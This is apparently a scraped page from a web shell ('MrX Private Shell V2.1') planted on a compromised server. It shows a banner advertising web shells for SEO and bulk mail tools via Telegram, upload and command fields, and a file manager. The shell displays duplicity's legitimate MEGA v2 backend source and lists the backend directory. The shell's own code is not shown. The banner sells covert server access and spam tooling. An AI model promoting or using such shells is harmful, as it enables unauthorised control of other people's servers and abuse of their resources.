__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4; encoding:utf-8 -*-
#
# Copyright 2020 Jose L. Domingo Lopez <[email protected]>
#
# This file is part of duplicity.
#
# Duplicity is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.
#
# Duplicity is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with duplicity; if not, write to the Free Software Foundation,
# Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA


import os
import re
import subprocess

import duplicity.backend
from duplicity.errors import BackendException


class Megav2Backend(duplicity.backend.Backend):
    """Backend for MEGA.nz cloud storage, only one that works for accounts created since Nov. 2018
    See https://github.com/megous/megatools/issues/411 for more details

    This MEGA backend resorts to official tools (MEGAcmd) as available at https://mega.nz/cmd
    MEGAcmd works through a single binary called "mega-cmd", which talks to a backend server
    "mega-cmd-server", which keeps state (for example, persisting a session). Multiple "mega-*"
    shell wrappers (ie. "mega-ls") exist as the user interface to "mega-cmd" and MEGA API
    The full MEGAcmd User Guide can be found in the software's GitHub page below :
    https://github.com/meganz/MEGAcmd/blob/master/UserGuide.md"""

    def __init__(self, parsed_url):
        duplicity.backend.Backend.__init__(self, parsed_url)

        # Sanity check : ensure all the necessary "MEGAcmd" binaries exist
        self._check_binary_exists("mega-login")
        self._check_binary_exists("mega-logout")
        self._check_binary_exists("mega-cmd")
        self._check_binary_exists("mega-cmd-server")
        self._check_binary_exists("mega-ls")
        self._check_binary_exists("mega-mkdir")
        self._check_binary_exists("mega-get")
        self._check_binary_exists("mega-put")
        self._check_binary_exists("mega-rm")

        # "MEGAcmd" does not use a config file, however it is handy to keep one (with the old ".megarc" format) to
        # securely store the username and password
        self._hostname = parsed_url.hostname
        if parsed_url.password is None:
            self._megarc = f"{os.getenv('HOME')}/.megav2rc"
            try:
                conf_file = open(self._megarc, "r")
            except Exception as e:
                raise BackendException(
                    f"No password provided in URL and MEGA configuration file for "
                    f"duplicity does not exist as '{self._megarc}'"
                )

            myvars = {}
            for line in conf_file:
                name, var = line.partition("=")[::2]
                myvars[name.strip()] = str(var.strip())
            conf_file.close()
            self._username = myvars["Username"]
            self._password = myvars["Password"]

        else:
            self._username = parsed_url.username
            self._password = self.get_password()

        # Remote folder ("MEGAcmd" no longer shows "Root/" at the top of the hierarchy)
        self._folder = f"/{parsed_url.path[1:]}"

        # Only create the remote folder if it doesn't exist yet
        self.mega_login()
        cmd = ["mega-ls", self._folder]
        try:
            self.subprocess_popen(cmd)
        except Exception as e:
            self._makedir(self._folder)

    def _check_binary_exists(self, cmd):
        """Checks that a specified command exists in the running user command path"""

        try:
            # Ignore the output, as we only need the return code
            subprocess.check_output(["which", cmd])
        except Exception as e:
            raise BackendException(
                f"Command '{cmd}' not found, make sure 'MEGAcmd' tools (https://mega.nz/cmd) "
                f"is properly installed and in the running user command path"
            )

    def _makedir(self, path):
        """Creates a remote directory (recursively if necessary)"""

        self.mega_login()
        cmd = ["mega-mkdir", "-p", path]
        try:
            self.subprocess_popen(cmd)
        except Exception as e:
            error_str = str(e)
            if "Folder already exists" in error_str:
                raise BackendException(
                    f"Folder '{path}' could not be created on MEGA because it already exists. "
                    f"Use another path or remove the folder in MEGA manually"
                )
            else:
                raise BackendException(f"Folder '{path}' could not be created, reason : '{e}'")

    def _put(self, source_path, remote_filename):
        """Uploads file to the specified remote folder (tries to delete it first to make
        sure the new one can be uploaded)"""

        try:
            self.delete(remote_filename.decode())
        except Exception:
            pass
        self.upload(
            local_file=source_path.get_canonical().decode(),
            remote_file=remote_filename.decode(),
        )

    def _get(self, remote_filename, local_path):
        """Downloads file from the specified remote path"""

        self.download(remote_file=remote_filename.decode(), local_file=local_path.name.decode())

    def _list(self):
        """Lists files in the specified remote path"""

        return self.folder_contents(files_only=True)

    def _delete(self, filename):
        """Deletes file from the specified remote path"""

        self.delete(remote_file=filename.decode())

    def _close(self):
        """Function called when backend is done being used"""

        cmd = ["mega-logout"]
        self.subprocess_popen(cmd)

    def mega_login(self):
        """Helper function to call from each method interacting with MEGA to make
        sure a session already exists or one is created to start with"""

        # Abort if command doesn't return in a reasonable time (somehow "mega-session" sometimes
        # doesn't return), and create session if one doesn't exist yet
        try:
            subprocess.check_output("mega-session", timeout=30)
        except subprocess.TimeoutExpired:
            raise BackendException("Timed out while trying to determine if a MEGA session exists")
        except Exception as e:
            cmd = ["mega-login", self._username, self._password]
            try:
                subprocess.check_output(cmd, stderr=subprocess.DEVNULL)
            except Exception as e:
                raise BackendException(f"Could not log in to MEGA, error : '{e}'")

    def folder_contents(self, files_only=False):
        """Lists contents of a remote MEGA path, optionally ignoring subdirectories"""

        cmd = ["mega-ls", "-l", self._folder]

        self.mega_login()
        files = subprocess.check_output(cmd)
        files = files.decode().split("\n")

        # Optionally ignore directories
        if files_only:
            files = [f.split()[5] for f in files if re.search("^-", f)]

        return files

    def download(self, remote_file, local_file):
        """Downloads a file from a remote MEGA path"""

        cmd = ["mega-get", f"{self._folder}/{remote_file}", local_file]
        self.mega_login()
        self.subprocess_popen(cmd)

    def upload(self, local_file, remote_file):
        """Uploads a file to a remote MEGA path"""

        cmd = ["mega-put", local_file, f"{self._folder}/{remote_file}"]
        self.mega_login()
        try:
            self.subprocess_popen(cmd)
        except Exception as e:
            error_str = str(e)
            if "Reached storage quota" in error_str:
                raise BackendException(
                    f"MEGA account over quota, could not write file : '{remote_file}'. "
                    f"Upgrade your storage at https://mega.nz/pro or remove some data."
                )
            else:
                raise BackendException(f"Failed writing file '{remote_file}' to MEGA, reason : '{e}'")

    def delete(self, remote_file):
        """Deletes a file from a remote MEGA path"""

        cmd = ["mega-rm", "-f", f"{self._folder}/{remote_file}"]
        self.mega_login()
        self.subprocess_popen(cmd)


duplicity.backend.register_backend("megav2", Megav2Backend)
duplicity.backend.uses_netloc.extend(["megav2"])

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
pyrax_identity Folder 0755
__init__.py File 1.09 KB 0644
_cf_cloudfiles.py File 3.83 KB 0644
_cf_pyrax.py File 5.02 KB 0644
_testbackend.py File 10.95 KB 0644
adbackend.py File 16.17 KB 0644
azurebackend.py File 5.41 KB 0644
b2backend.py File 9.31 KB 0644
boxbackend.py File 6.63 KB 0644
cfbackend.py File 1.12 KB 0644
dpbxbackend.py File 19.09 KB 0644
gdocsbackend.py File 8.9 KB 0644
gdrivebackend.py File 16.28 KB 0644
giobackend.py File 7.74 KB 0644
hsibackend.py File 2.54 KB 0644
hubicbackend.py File 2.37 KB 0644
idrivedbackend.py File 18.86 KB 0644
imapbackend.py File 9.53 KB 0644
jottacloudbackend.py File 5.62 KB 0644
lftpbackend.py File 8.97 KB 0644
localbackend.py File 2.97 KB 0644
mediafirebackend.py File 4.53 KB 0644
megabackend.py File 6.93 KB 0644
megav2backend.py File 8.42 KB 0644
megav3backend.py File 9.63 KB 0644
multibackend.py File 15.39 KB 0644
ncftpbackend.py File 5.32 KB 0644
onedrivebackend.py File 15.94 KB 0644
par2backend.py File 8.78 KB 0644
pcabackend.py File 12.18 KB 0644
pydrivebackend.py File 12.72 KB 0644
rclonebackend.py File 4.64 KB 0644
rsyncbackend.py File 6.3 KB 0644
s3_boto3_backend.py File 10.25 KB 0644
slatebackend.py File 6.37 KB 0644
ssh_paramiko_backend.py File 19.21 KB 0644
ssh_pexpect_backend.py File 12.63 KB 0644
swiftbackend.py File 9.91 KB 0644
sxbackend.py File 2.26 KB 0644
tahoebackend.py File 2.5 KB 0644
webdavbackend.py File 18.2 KB 0644
xorrisobackend.py File 11.96 KB 0644
Filemanager